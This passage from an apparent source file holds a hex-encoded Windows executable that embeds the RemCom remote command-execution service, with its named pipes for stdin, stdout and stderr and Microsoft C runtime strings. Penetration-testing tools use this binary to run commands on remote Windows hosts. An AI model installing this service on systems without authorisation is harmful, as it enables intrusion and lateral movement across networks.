'80000000e841a8ffffffb684000000e836a8ffffffb688000000e82ba8ffffffb68c00' \
'0000e820a8ffffffb690000000e815a8ffffffb694000000e80aa8ffffffb698000000' \
'e8ffa7ffffffb69c000000e8f4a7ffffffb6a0000000e8e9a7ffffffb6a4000000e8de' \
'a7ffffffb6a8000000e8d3a7ffff83c42c5e5dc38bff558bec568b750885f674358b06' \
'3b0558ed4000740750e8b0a7ffff598b46043b055ced4000740750e89ea7ffff598b76' \
'083b3560ed4000740756e88ca7ffff595e5dc38bff558bec568b750885f6747e8b460c' \
'3b0564ed4000740750e86aa7ffff598b46103b0568ed4000740750e858a7ffff598b46' \
'143b056ced4000740750e846a7ffff598b46183b0570ed4000740750e834a7ffff598b' \
'461c3b0574ed4000740750e822a7ffff598b46203b0578ed4000740750e810a7ffff59' \
'8b76243b357ced4000740756e8fea6ffff595e5dc38bff558bec8b450885c0741283e8' \
'088138dddd0000750750e8dda6ffff595dc3cccccc558bec5633c05050505050505050' \
'8b550c8d49008a020ac0740983c2010fab0424ebf18b750883c9ff8d490083c1018a06' \
'0ac0740983c6010fa3042473ee8bc183c4205ec9c3cccccccccccccccccccc8b542404' \
'8b4c2408f7c203000000753c8b023a01752e0ac074263a610175250ae4741dc1e8103a' \
'410275190ac074113a6103751083c10483c2040ae475d28bff33c0c3901bc0d1e083c0' \
'01c3f7c20100000074188a0283c2013a0175e783c1010ac074dcf7c20200000074a466' \
'8b0283c2023a0175ce0ac074c63a610175c50ae474bd83c102eb888bff558bec5151a1' \
'00e0400033c58945fca1dcfb4000535633db578bf93bc3753a8d45f85033f646566834' \
'c4400056ff155cb1400085c074088935dcfb4000eb34ff1580b0400083f878750a6a02' \
'58a3dcfb4000eb05a1dcfb400083f8020f84cf0000003bc30f84c700000083f8010f85' \
'e8000000895df8395d1875088b078b40048945188b3558b1400033c0395d205353ff75' \
'100f95c0ff750c8d04c50100000050ff7518ffd68bf83bfb0f84ab0000007e3c81fff0' \
'ffff7f77348d443f083d000400007713e82c1500008bc43bc3741cc700cccc0000eb11' \
'50e8e6e0ffff593bc37409c700dddd000083c0088bd885db74698d043f506a0053e818' \
'93ffff83c40c5753ff7510ff750c6a01ff7518ffd685c07411ff75145053ff7508ff15' \
'5cb140008945f853e8d8fdffff8b45f859eb7533f6395d1c75088b078b401489451c39' \
'5d1875088b078b4004894518ff751ce8e31400005983f8ff750433c0eb473b4518741e' \
'53538d4d1051ff750c50ff7518e80b1500008bf083c4183bf374dc89750cff7514ff75' \
'10ff750cff7508ff751cff1554b140008bf83bf3740756e85aa4ffff598bc78d65ec5f' \
'5e5b8b4dfc33cde84a8fffffc9c38bff558bec83ec10ff75088d4df0e881a9ffffff75' \
'248d4df0ff7520ff751cff7518ff7514ff7510ff750ce816feffff83c41c807dfc0074' \
'078b4df8836170fdc9c3cccccccccccccccccccccccc558bec5633c050505050505050' \
'508b550c8d49008a020ac0740983c2010fab0424ebf18b75088bff8a060ac0740c83c6' \
'010fa3042473f18d46ff83c4205ec9c38bff558bec83ec14a100e0400033c58945fc53' \
'5633db578bf1391de0fb40007538535333ff47576834c44000680001000053ff1564b1' \
'400085c07408893de0fb4000eb15ff1580b0400083f878750ac705e0fb400002000000' \
'395d147e228b4d148b45104938187408403bcb75f683c9ff8b45142bc1483b45147d01' \
'40894514a1e0fb400083f8020f84ac0100003bc30f84a401000083f8010f85cc010000' \
'895df8395d2075088b068b40048945208b3558b1400033c0395d245353ff75140f95c0' \
'ff75108d04c50100000050ff7520ffd68bf83bfb0f848f0100007e436ae033d258f7f7' \
'83f80272378d443f083d000400007713e8b61200008bc43bc3741cc700cccc0000eb11' \
'50e870deffff593bc37409c700dddd000083c0088945f4eb03895df4395df40f843e01' \
'000057ff75f4ff7514ff75106a01ff7520ffd685c00f84e30000008b3564b140005353' \
'57ff75f4ff750cff7508ffd68bc8894df83bcb0f84c2000000f7450c00040000742939' \
'5d1c0f84b00000003b4d1c0f8fa7000000ff751cff751857ff75f4ff750cff7508ffd6' \
'e9900000003bcb7e456ae033d258f7f183f80272398d4409083d000400007716e8f711' \
'00008bf43bf3746ac706cccc000083c608eb1a50e8aeddffff593bc37409c700dddd00' \
'0083c0088bf0eb0233f63bf37441ff75f85657ff75f4ff750cff7508ff1564b1400085' \
'c074225353395d1c75045353eb06ff751cff7518ff75f85653ff7520ff15f0b0400089' \
'45f856e895faffff59ff75f4e88cfaffff8b45f859e959010000895df4895df0395d08' \
'75088b068b4014894508395d2075088b068b4004894520ff7508e890110000598945ec' \
'83f8ff750733c0e9210100003b45200f84db00000053538d4d1451ff751050ff7520e8' \
'ae11000083c4188945f43bc374d48b3560b140005353ff751450ff750cff7508ffd689' \
'45f83bc3750733f6e9b70000007e3d83f8e0773883c0083d000400007716e8e1100000' \
'8bfc3bfb74ddc707cccc000083c708eb1a50e898dcffff593bc37409c700dddd000083' \
'c0088bf8eb0233ff3bfb74b4ff75f85357e8c88effff83c40cff75f857ff7514ff75f4' \
'ff750cff7508ffd68945f83bc3750433f6eb25ff751c8d45f8ff75185057ff7520ff75' \
'ece8fd1000008bf08975f083c418f7de1bf62375f857e86af9ffff59eb1aff751cff75' \
'18ff7514ff7510ff750cff7508ff1560b140008bf0395df47409ff75f4e83aa0ffff59' \
'8b45f03bc3740c394518740750e827a0ffff598bc68d65e05f5e5b8b4dfc33cde8178b' \
'ffffc9c38bff558bec83ec10ff75088d4df0e84ea5ffffff75288d4df0ff7524ff7520' \
'ff751cff7518ff7514ff7510ff750ce828fcffff83c420807dfc0074078b4df8836170' \
'fdc9c36a106828c84000e8429dffff33c08b5d0833ff3bdf0f95c03bc7751de8639fff' \
'ffc700160000005757575757e840a2ffff83c41483c8ffeb53833dbcfc40000375386a' \
'04e829c0ffff59897dfc53e82ed0ffff598945e03bc7740b8b73fc83ee098975e4eb03' \
'8b75e4c745fcfeffffffe825000000397de075105357ff35fcf94000ff1568b140008b' \
'f08bc6e8029dffffc333ff8b5d088b75e46a04e8f7beffff59c36a02e83998ffff59c3' \
'8bff558bec81ec28030000a100e0400033c58945fcf605a0ed4000015674086a0ae868' \
'b4ffff59e8d3cbffff85c074086a16e8d5cbffff59f605a0ed4000020f84ca00000089' \
'85e0fdffff898ddcfdffff8995d8fdffff899dd4fdffff89b5d0fdffff89bdccfdffff' \
'668c95f8fdffff668c8decfdffff668c9dc8fdffff668c85c4fdffff668ca5c0fdffff' \
'668cadbcfdffff9c8f85f0fdffff8b75048d45048985f4fdffffc78530fdffff010001' \
'0089b5e8fdffff8b40fc6a508985e4fdffff8d85d8fcffff6a0050e86b8cffff8d85d8' \
'fcffff83c40c898528fdffff8d8530fdffff6a00c785d8fcffff1500004089b5e4fcff' \
'ff89852cfdffffff15a0b040008d8528fdffff50ff159cb040006a03e8a799ffffcccc' \
'cccc558bec535657556a006a0068788f4000ff7508e8461400005d5f5e5b8be55dc38b' \
'4c2404f7410406000000b80100000074328b4424148b48fc33c8e8ca88ffff558b6810' \
'8b5028528b502452e81400000083c4085d8b4424088b5424108902b803000000c35356' \
'578b44241055506afe68808f400064ff3500000000a100e0400033c4508d44240464a3' \
'000000008b4424288b58088b700c83feff743a837c242cff74063b74242c762d8d3476' \
'8b0cb3894c240c89480c837cb30400751768010100008b44b308e8490000008b44b308' \
'e85f000000ebb78b4c240464890d0000000083c4185f5e5bc333c0648b0d0000000081' \
'7904808f400075108b510c8b520c3951087505b801000000c35351bba4ed4000eb0b53' \
'51bba4ed40008b4c240c894b08894304896b0c55515058595d595bc20400ffd0c3cccc' \
'cccccccccccccc558bec57568b750c8b4d108b7d088bc18bd103c63bfe76083bf80f82' \
'a401000081f900010000721f833de0fd4000007416575683e70f83e60f3bfe5e5f7508' \
'5e5f5de98d0b0000f7c7030000007515c1e90283e20383f908722af3a5ff2495149240' \
'00908bc7ba0300000083e904720c83e00303c8ff248528914000ff248d2492400090ff' \
'248da89140009038914000649140008891400023d18a0688078a46018847018a4602c1' \
'e90288470283c60383c70383f90872ccf3a5ff2495149240008d490023d18a0688078a' \
'4601c1e90288470183c60283c70283f90872a6f3a5ff2495149240009023d18a068807' \
'83c601c1e90283c70183f9087288f3a5ff2495149240008d49000b924000f8914000f0' \
'914000e8914000e0914000d8914000d0914000c89140008b448ee489448fe48b448ee8' \
'89448fe88b448eec89448fec8b448ef089448ff08b448ef489448ff48b448ef889448f' \
'f88b448efc89448ffc8d048d0000000003f003f8ff2495149240008bff249240002c92' \
'4000389240004c9240008b45085e5fc9c3908a0688078b45085e5fc9c3908a0688078a' \
'46018847018b45085e5fc9c38d49008a0688078a46018847018a46028847028b45085e' \
'5fc9c3908d7431fc8d7c39fcf7c7030000007524c1e90283e20383f908720dfdf3a5fc' \
'ff2495b09340008bfff7d9ff248d609340008d49008bc7ba0300000083f904720c83e0' \
'032bc8ff2485b4924000ff248db093400090c4924000e8924000109340008a460323d1' \
'88470383ee01c1e90283ef0183f90872b2fdf3a5fcff2495b09340008d49008a460323' \
'd18847038a4602c1e90288470283ee0283ef0283f9087288fdf3a5fcff2495b0934000' \
'908a460323d18847038a46028847028a4601c1e90288470183ee0383ef0383f9080f82' \
'56fffffffdf3a5fcff2495b09340008d4900649340006c934000749340007c93400084' \
'9340008c93400094934000a79340008b448e1c89448f1c8b448e1889448f188b448e14' \
'89448f148b448e1089448f108b448e0c89448f0c8b448e0889448f088b448e0489448f' \
'048d048d0000000003f003f8ff2495b09340008bffc0934000c8934000d8934000ec93' \
'40008b45085e5fc9c3908a46038847038b45085e5fc9c38d49008a46038847038a4602' \
'8847028b45085e5fc9c3908a46038847038a46028847028a46018847018b45085e5fc9' \
'c38bff558bec53568b75085733ff83cbff3bf7751ce80099ffff5757575757c7001600' \
'0000e8dd9bffff83c4140bc3eb42f6460c83743756e88fd9ffff568bd8e8770d000056' \
'e878dbffff50e89e0c000083c41085c07d0583cbffeb118b461c3bc7740a50e8f998ff' \
'ff59897e1c897e0c8bc35f5e5b5dc36a0c6848c84000e86096ffff834de4ff33c08b75' \
'0833ff3bf70f95c03bc7751de87d98ffffc700160000005757575757e85a9bffff83c4' \
'1483c8ffeb0cf6460c40740c897e0c8b45e4e86396ffffc356e8379cffff59897dfc56' \
'e82affffff598945e4c745fcfeffffffe805000000ebd58b750856e8859cffff59c36a' \
'106868c84000e8e495ffff8b450883f8fe7513e80d98ffffc7000900000083c8ffe9aa' \
'00000033db3bc37c083b05c0fc4000721ae8ec97ffffc700090000005353535353e8c9' \
'9affff83c414ebd08bc8c1f9058d3c8de0fc40008bf083e61fc1e6068b0f0fbe4c0e04' \
'83e10174c650e8c303000059895dfc8b07f6440604017431ff7508e8370300005950ff' \
'156cb1400085c0750bff1580b040008945e4eb03895de4395de47419e88b97ffff8b4d' \
'e48908e86e97ffffc70009000000834de4ffc745fcfeffffffe8090000008b45e4e85f' \
'95ffffc3ff7508e8f903000059c38bff558bec83ec145657ff75088d4dece8c89cffff' \
'8b45108b750c33ff3bc7740289303bf7752ce81997ffff5757575757c70016000000e8' \
'f699ffff83c414807df80074078b45f4836070fd33c0e9d8010000397d14740c837d14' \
'027cc9837d14247fc38b4dec538a1e897dfc8d7e0183b9ac000000017e178d45ec500f' \
'b6c36a0850e83e0900008b4dec83c40ceb108b91c80000000fb6c30fb7044283e00885' \
'c074058a1f47ebc780fb2d7506834d1802eb0580fb2b75038a1f478b451485c00f8c4b' \
'01000083f8010f844201000083f8240f8f3901000085c0752a80fb307409c745140a00' \
'0000eb348a073c78740d3c587409c7451408000000eb21c7451410000000eb0a83f810' \
'751380fb30750e8a073c7874043c587504478a1f478bb1c8000000b8ffffffff33d2f7' \
'75140fb6cb0fb70c4ef6c10474080fbecb83e930eb1bf7c10301000074318acb80e961' \
'80f9190fbecb770383e92083c1c93b4d147319834d18083945fc722775043bca762183' \
'4d1804837d100075238b45184fa8087520837d100074038b7d0c8365fc00eb5b8b5dfc' \
'0faf5d1403d9895dfc8a1f47eb8bbeffffff7fa804751ba801753d83e0027409817dfc' \
'00000080770985c0752b3975fc7626e87895fffff6451801c700220000007406834dfc' \
'ffeb0ff64518026a00580f95c003c68945fc8b451085c074028938f64518027403f75d' \
'fc807df80074078b45f4836070fd8b45fceb188b451085c074028930807df80074078b' \
'45f4836070fd33c05b5f5ec9c38bff558bec33c050ff7510ff750cff7508390550fb40' \
'0075076838e74000eb0150e8abfdffff83c4145dc38bff558bec8b4d085333db3bcb56' \
'577c5b3b0dc0fc400073538bc1c1f8058bf18d3c85e0fc40008b0783e61fc1e60603c6' \
'f640040174358338ff7430833d10e0400001751d2bcb7410497408497513536af4eb08' \
'536af5eb03536af6ff1570b140008b07830c06ff33c0eb15e87a94ffffc70009000000' \
'e88294ffff891883c8ff5f5e5b5dc38bff558bec8b450883f8fe7518e86694ffff8320' \
'00e84b94ffffc7000900000083c8ff5dc35633f63bc67c223b05c0fc4000731a8bc883' \
'e01fc1f9058b0c8de0fc4000c1e00603c1f64004017524e82594ffff8930e80b94ffff' \
'5656565656c70009000000e8e896ffff83c41483c8ffeb028b005e5dc36a0c6888c840' \
'00e8ac91ffff8b7d088bc7c1f8058bf783e61fc1e606033485e0fc4000c745e4010000' \
'0033db395e0875366a0ae8a4b4ffff59895dfc395e08751a68a00f00008d460c50e8b0' \
'c2ffff595985c07503895de4ff4608c745fcfeffffffe830000000395de4741d8bc7c1' \
'f80583e71fc1e7068b0485e0fc40008d44380c50ff15d4b040008b45e4e86c91ffffc3' \
'33db8b7d086a0ae864b3ffff59c38bff558bec8b45088bc883e01fc1f9058b0c8de0fc' \
'4000c1e0068d44010c50ff15d8b040005dc38bff558bec83ec10a100e0400033c58945' \
'fc5633f63935c0ed4000744f833d84ee4000fe7505e8cf070000a184ee400083f8ff75' \
'07b8ffff0000eb70568d4df0516a018d4d085150ff157cb1400085c07567833dc0ed40' \
'000275daff1580b0400083f87875cf8935c0ed400056566a058d45f4506a018d450850' \
'56ff1578b1400050ff15f0b040008b0d84ee400083f9ff74a2568d55f052508d45f450' \
'51ff1574b1400085c0748d668b45088b4dfc33cd5ee8bc7dffffc9c3c705c0ed400001' \
'000000ebe38bff558bec83ec1053568b750c33db3bf37415395d107410381e75128b45' \
'083bc3740533c966890833c05e5bc9c3ff75148d4df0e8c197ffff8b45f0395814751f' \
'8b45083bc37407660fb60e668908385dfc74078b45f8836070fd33c040ebca8d45f050' \
'0fb60650e8ebd6ffff595985c0747d8b45f08b88ac00000083f9017e25394d107c2033' \
'd2395d080f95c252ff750851566a09ff7004ff1558b1400085c08b45f075108b4d103b' \
'88ac0000007220385e01741b8b80ac000000385dfc0f8465ffffff8b4df8836170fde9' \
'59ffffffe88c91ffffc7002a000000385dfc74078b45f8836070fd83c8ffe93affffff' \
'33c0395d080f95c050ff75088b45f06a01566a09ff7004ff1558b1400085c00f853aff' \
'ffffebba8bff558bec6a00ff7510ff750cff7508e8d4feffff83c4105dc3558bec83ec' \
'08897dfc8975f88b750c8b7d088b4d10c1e907eb068d9b00000000660f6f06660f6f4e' \
'10660f6f5620660f6f5e30660f7f07660f7f4f10660f7f5720660f7f5f30660f6f6640' \
'660f6f6e50660f6f7660660f6f7e70660f7f6740660f7f6f50660f7f7760660f7f7f70' \
'8db6800000008dbf800000004975a38b75f88b7dfc8be55dc3558bec83ec1c897df489' \
'75f8895dfc8b5d0c8bc3998bc88b450833ca2bca83e10f33ca2bca998bf833fa2bfa83' \
'e70f33fa2bfa8bd10bd7754a8b75108bce83e17f894de83bf174132bf1565350e827ff' \
'ffff83c40c8b45088b4de885c974778b5d108b550c03d32bd18955ec03d82bd9895df0' \
'8b75ec8b7df08b4de8f3a48b4508eb533bcf7535f7d983c110894de48b750c8b7d088b' \
'4de4f3a48b4d08034de48b550c0355e48b45102b45e4505251e84cffffff83c40c8b45' \
'08eb1a8b750c8b7d088b4d108bd1c1e902f3a58bca83e103f3a48b45088b5dfc8b75f8' \
'8b7df48be55dc3cccccccccccccccccc518d4c24082bc883e10f03c11bc90bc159e98a' \
'7effff518d4c24082bc883e10703c11bc90bc159e9747effff8bff558bec6a0a6a00ff' \
'7508e86bfaffff83c40c5dc38bff558bec83ec0ca100e0400033c58945fc6a068d45f4' \
'506804100000ff7508c645fa00ff1550b1400085c0750583c8ffeb0a8d45f450e8aeff' \
'ffff598b4dfc33cde8817affffc9c38bff558bec83ec34a100e0400033c58945fc8b45' \
'108b4d188945d88b4514538945d08b00568945dc8b45085733ff894dcc897de0897dd4' \
'3b450c0f845f0100008b351cb140008d4de85150ffd68b1d58b1400085c0745e837de8' \
'0175588d45e850ff750cffd685c0744b837de80175458b75dcc745d40100000083feff' \
'750cff75d8e88ed1ffff8bf059463bf77e5b81fef0ffff7f77538d4436083d00040000' \
'772fe8cefeffff8bc43bc77438c700cccc0000eb2d5757ff75dcff75d86a01ff7508ff' \
'd38bf03bf775c333c0e9d100000050e86ccaffff593bc77409c700dddd000083c00889' \
'45e4eb03897de4397de474d88d04365057ff75e4e8967cffff83c40c56ff75e4ff75dc' \
'ff75d86a01ff7508ffd385c0747f8b5dcc3bdf741d5757ff751c5356ff75e457ff750c' \
'ff15f0b0400085c07460895de0eb5b8b1df0b04000397dd475145757575756ff75e457' \
'ff750cffd38bf03bf7743c566a01e8ed8effff59598945e03bc7742b5757565056ff75' \
'e457ff750cffd33bc7750eff75e0e8f78dffff59897de0eb0b837ddcff74058b4dd089' \
'01ff75e4e8e4e6ffff598b45e08d65c05f5e5b8b4dfc33cde8cd78ffffc9c38bff558b' \
'ec83ec1853ff75108d4de8e80393ffff8b5d088d43013d00010000770f8b45e88b80c8' \
'0000000fb70458eb75895d08c17d08088d45e8508b450825ff00000050e82cd2ffff59' \
'5985c074128a45086a028845f8885df9c645fa0059eb0a33c9885df8c645f900418b45' \
'e86a01ff7014ff70048d45fc50518d45f8508d45e86a0150e8f9e8ffff83c42085c075' \
'103845f474078b45f0836070fd33c0eb140fb745fc23450c807df40074078b4df08361' \
'70fd5bc9c38bff558bec568b75085756e852f8ffff5983f8ff7450a1e0fc400083fe01' \
'7509f6808400000001750b83fe02751cf640440174166a02e827f8ffff6a018bf8e81e' \
'f8ffff59593bc7741c56e812f8ffff5950ff1574b0400085c0750aff1580b040008bf8' \
'eb0233ff56e86ef7ffff8bc6c1f8058b0485e0fc400083e61fc1e60659c64430040085' \
'ff740c57e85d8cffff5983c8ffeb0233c05f5e5dc36a1068a8c84000e8e989ffff8b45' \
'0883f8fe751be8258cffff832000e80a8cffffc7000900000083c8ffe98e00000033ff' \
'3bc77c083b05c0fc40007221e8fc8bffff8938e8e28bffffc700090000005757575757' \
'e8bf8effff83c414ebc98bc8c1f9058d1c8de0fc40008bf083e61fc1e6068b0b0fbe4c' \
'310483e10174bf50e8b9f7ffff59897dfc8b03f644300401740eff7508e8cbfeffff59' \
'8945e4eb0fe8878bffffc70009000000834de4ffc745fcfeffffffe8090000008b45e4' \
'e87889ffffc3ff7508e812f8ffff59c38bff558bec568b75088b460ca883741ea80874' \
'1aff7608e88b8bffff81660cf7fbffff33c05989068946088946045e5dc333c050506a' \
'03506a0368000000406878c44000ff1580b14000a384ee4000c3a184ee4000568b3574' \
'b0400083f8ff740883f8fe740350ffd6a180ee400083f8ff740883f8fe740350ffd65e' \
'c3cccccc558bec5756538b4d100bc9744d8b75088b7d0cb741b35ab6208d49008a260a' \
'e48a0774270ac0742383c60183c7013ae772063ae3770202e63ac772063ac3770202c6' \
'3ae0750b83e90175d133c93ae07409b9ffffffff7202f7d98bc15b5e5fc9c3cccccccc' \
'cccccccccccccccccccccc8b4424088b4c24100bc88b4c240c75098b442404f7e1c210' \
'0053f7e18bd88b442408f764241403d88b442408f7e103d35bc21000cccccccccccccc' \
'cccccccccc8d42ff5bc38da424000000008d64240033c08a442408538bd8c1e0088b54' \
'2408f7c20300000074158a0a83c2013acb74cf84c97451f7c20300000075eb0bd8578b' \
'c3c1e310560bd88b0abffffefe7e8bc18bf733cb03f003f983f1ff83f0ff33cf33c683' \
'c20481e100010181751c250001018174d32500010101750881e60000008075c45e5f5b' \
'33c0c38b42fc3ac3743684c074ef3ae3742784e474e7c1e8103ac3741584c074dc3ae3' \
'740684e474d4eb965e5f8d42ff5bc38d42fe5e5f5bc38d42fd5e5f5bc38d42fc5e5f5b' \
'c3ff2534b1400000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000c6cc00' \
'00a8cc00008acc000076cc000060cc000044cc000038cc00002ecc00001ccc00000ccc' \
'0000f6cb0000e6cb0000d2cb0000e2cc00000000000094cb00007ecb0000accb000066' \
'cb000054cb00003ecb000028cb000014cb000000cb0000f0ca0000daca0000ccca0000' \
'beca0000b2ca0000a4ca000098ca0000a0cb000088ca000010cd00001ecd00002ecd00' \
'003ecd000050cd000064cd000078cd000094cd0000b2cd0000c6cd0000dacd0000eccd' \
'0000facd000006ce000014ce00001ece00002ece000044ce00004cce00005ace000066' \
'ce00007ece000096ce0000a6ce0000bcce0000d6ce0000eece000008cf00001ecf0000' \
'38cf00004acf000058cf00006acf000082cf000090cf00009ecf0000b8cf0000c8cf00' \
'00e2cf0000eecf0000f8cf000004d0000016d0000026d000004ed000005ad0000066d0' \
'000076d0000084d0000096d00000a6d00000b8d00000cad00000dcd00000f2d0000004' \
'd1000014d1000024d1000030d1000044d1000054d1000064d100007ad100008ad10000' \
'0000000000000000000000000000000037304000774240002958400001594000c64240' \
'00000000000000000010a24000e8304000000000000000000000000000000000005265' \
'6d436f6d53766300000053657276696365004120736572766963652043616e6e6f7420' \
'62652073746172746564206469726563746c792e0a000052656d436f6d5f7374646572' \
'7200000052656d436f6d5f737464696e000000005c5c2e5c706970655c257325732564' \
'0052656d436f6d5f7374646f7574000000257300005c5c2e5c706970655c52656d436f' \
'6d5f636f6d6d756e696361746f6e0000000058f24000b0f24000456e636f6465506f69' \
'6e7465720000004b00450052004e0045004c00330032002e0044004c004c0000000000' \
'4465636f6465506f696e746572000000466c734672656500466c7353657456616c7565' \
'00466c7347657456616c756500466c73416c6c6f6300000000436f724578697450726f' \
'6365737300006d00730063006f007200650065002e0064006c006c000000050000c00b' \
'000000000000001d0000c00400000000000000960000c004000000000000008d0000c0' \
'08000000000000008e0000c008000000000000008f0000c00800000000000000900000' \
'c00800000000000000910000c00800000000000000920000c008000000000000009300' \
'00c0080000000000000028006e0075006c006c00290000000000286e756c6c29000006' \
'0000060001000010000306000602100445454505050505053530005000000000282038' \
'5058070800373030575007000020200800000000086068606060600000787078787878' \
'08070800000700080808000008000800070800000072756e74696d65206572726f7220' \
'00000d0a0000544c4f5353206572726f720d0a00000053494e47206572726f720d0a00' \
'000000444f4d41494e206572726f720d0a000052363033340d0a416e206170706c6963' \
'6174696f6e20686173206d61646520616e20617474656d707420746f206c6f61642074' \
'686520432072756e74696d65206c69627261727920696e636f72726563746c792e0a50' \
'6c6561736520636f6e7461637420746865206170706c69636174696f6e277320737570' \
'706f7274207465616d20666f72206d6f726520696e666f726d6174696f6e2e0d0a0000' \
'0000000052363033330d0a2d20417474656d707420746f20757365204d53494c20636f' \
'64652066726f6d207468697320617373656d626c7920647572696e67206e6174697665' \
'20636f646520696e697469616c697a6174696f6e0a5468697320696e64696361746573' \
'20612062756720696e20796f7572206170706c69636174696f6e2e204974206973206d' \
'6f7374206c696b656c792074686520726573756c74206f662063616c6c696e6720616e' \
'204d53494c2d636f6d70696c656420282f636c72292066756e6374696f6e2066726f6d' \
'2061206e617469766520636f6e7374727563746f72206f722066726f6d20446c6c4d61' \
'696e2e0d0a000052363033320d0a2d206e6f7420656e6f75676820737061636520666f' \
'72206c6f63616c6520696e666f726d6174696f6e0d0a00000000000052363033310d0a' \
'2d20417474656d707420746f20696e697469616c697a652074686520435254206d6f72' \
'65207468616e206f6e63652e0a5468697320696e646963617465732061206275672069' \
'6e20796f7572206170706c69636174696f6e2e0d0a000052363033300d0a2d20435254' \
'206e6f7420696e697469616c697a65640d0a000052363032380d0a2d20756e61626c65' \
'20746f20696e697469616c697a6520686561700d0a0000000052363032370d0a2d206e' \
'6f7420656e6f75676820737061636520666f72206c6f77696f20696e697469616c697a' \
'6174696f6e0d0a0000000052363032360d0a2d206e6f7420656e6f7567682073706163' \
'6520666f7220737464696f20696e697469616c697a6174696f6e0d0a00000000523630' \
'32350d0a2d2070757265207669727475616c2066756e6374696f6e2063616c6c0d0a00' \
'000052363032340d0a2d206e6f7420656e6f75676820737061636520666f72205f6f6e' \
'657869742f617465786974207461626c650d0a0000000052363031390d0a2d20756e61' \
'626c6520746f206f70656e20636f6e736f6c65206465766963650d0a00000000523630' \
'31380d0a2d20756e65787065637465642068656170206572726f720d0a000000005236' \
'3031370d0a2d20756e6578706563746564206d756c7469746872656164206c6f636b20' \
'6572726f720d0a0000000052363031360d0a2d206e6f7420656e6f7567682073706163' \
'6520666f722074687265616420646174610d0a000d0a54686973206170706c69636174' \
'696f6e2068617320726571756573746564207468652052756e74696d6520746f207465' \
'726d696e61746520697420696e20616e20756e757375616c207761792e0a506c656173' \
'6520636f6e7461637420746865206170706c69636174696f6e277320737570706f7274' \
'207465616d20666f72206d6f726520696e666f726d6174696f6e2e0d0a000000523630' \
'30390d0a2d206e6f7420656e6f75676820737061636520666f7220656e7669726f6e6d' \
'656e740d0a0052363030380d0a2d206e6f7420656e6f75676820737061636520666f72' \
'20617267756d656e74730d0a00000052363030320d0a2d20666c6f6174696e6720706f' \
'696e7420737570706f7274206e6f74206c6f616465640d0a000000004d6963726f736f' \
'66742056697375616c20432b2b2052756e74696d65204c696272617279000000000a0a' \
'00002e2e2e003c70726f6772616d206e616d6520756e6b6e6f776e3e000052756e7469' \
'6d65204572726f72210a0a50726f6772616d3a20000000000000000102030405060708' \
'090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b' \
'2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e' \
'4f505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f7071' \
'72737475767778797a7b7c7d7e7f000680808680818000001003868086828014050545' \
'4545858585050000303080508088000800282738505780000700373030505088000000' \
'2028808880800000006068606868680808077870707770700808000008000800070800' \
'000047657450726f6365737357696e646f7753746174696f6e00476574557365724f62' \
'6a656374496e666f726d6174696f6e410000004765744c617374416374697665506f70' \
'7570000047657441637469766557696e646f77004d657373616765426f784100555345' \
'5233322e444c4c00000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000002000200020002000200020' \
'0020002000200028002800280028002800200020002000200020002000200020002000' \
'2000200020002000200020002000200020004800100010001000100010001000100010' \
'0010001000100010001000100010008400840084008400840084008400840084008400' \
'1000100010001000100010001000810081008100810081008100010001000100010001' \
'0001000100010001000100010001000100010001000100010001000100010010001000' \
'1000100010001000820082008200820082008200020002000200020002000200020002' \
'0002000200020002000200020002000200020002000200020010001000100010002000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000020002000200020002000200020002000200068002800' \
'2800280028002000200020002000200020002000200020002000200020002000200020' \
'0020002000200048001000100010001000100010001000100010001000100010001000' \
'1000100084008400840084008400840084008400840084001000100010001000100010' \
'0010008101810181018101810181010101010101010101010101010101010101010101' \
'0101010101010101010101010101010101010101100010001000100010001000820182' \
'0182018201820182010201020102010201020102010201020102010201020102010201' \
'0201020102010201020102010201100010001000100020002000200020002000200020' \
'0020002000200020002000200020002000200020002000200020002000200020002000' \
'2000200020002000200020002000200020004800100010001000100010001000100010' \
'0010001000100010001000100010001000100014001400100010001000100010001400' \
'1000100010001000100010000101010101010101010101010101010101010101010101' \
'0101010101010101010101010101010101010101010101100001010101010101010101' \
'0101010102010201020102010201020102010201020102010201020102010201020102' \
'0102010201020102010201020102010201100002010201020102010201020102010201' \
'010100000000808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c' \
'9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebf' \
'c0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2' \
'e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff000102030405' \
'060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728' \
'292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f406162636465666768696a6b' \
'6c6d6e6f707172737475767778797a5b5c5d5e5f606162636465666768696a6b6c6d6e' \
'6f707172737475767778797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f9091' \
'92939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4' \
'b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7' \
'd8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fa' \
'fbfcfdfeff808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d' \
